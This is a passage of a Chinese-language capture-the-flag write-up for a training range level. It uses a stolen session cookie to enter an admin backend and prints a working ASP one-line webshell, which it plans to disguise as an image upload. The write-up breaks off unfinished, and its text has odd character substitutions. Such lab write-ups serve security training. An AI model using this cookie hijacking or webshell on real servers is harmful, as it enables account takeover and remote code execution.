ctf实战 掌控安全的靶场 第五关通关记录

看了题目和Tips，这题是须要咱们用上一题窃取的cookie来登陆后台而后上传WEBSHELL，而后链接菜刀获取flag。

 

先找到上一题打来的cookie。

而后按F12选择Application，而后看右边有一个cookies而后选择咱们的题目的地址，而后点击空白的地方，

 

把ADMINSESSIONIDCSTRCSDQ粘贴在Name下

LBMLMBCCNPFINOANFGLPCFBC粘贴在value下，F5刷新进入后台

 

 

而后咱们直接找上传点，毕竟getshell咱们是须要在服务器的WWW文件夹里面放一段恶意代码的。 

咱们先去百度找ASP一句话木马，由于是ASP的环境 

ASP一句话木马：<%eval request ("pass")%> 密码是pass eval是个函数，request是接受参数的。有兴趣了解一句话的能够自行百度。 

通常而言直接传木马文件都极可能被拦截，因此通常而言一句话木马都会作成图片马。图片马制做很是简单，一条CMD命令就能够了

 

未完待续，睡会儿，要卒了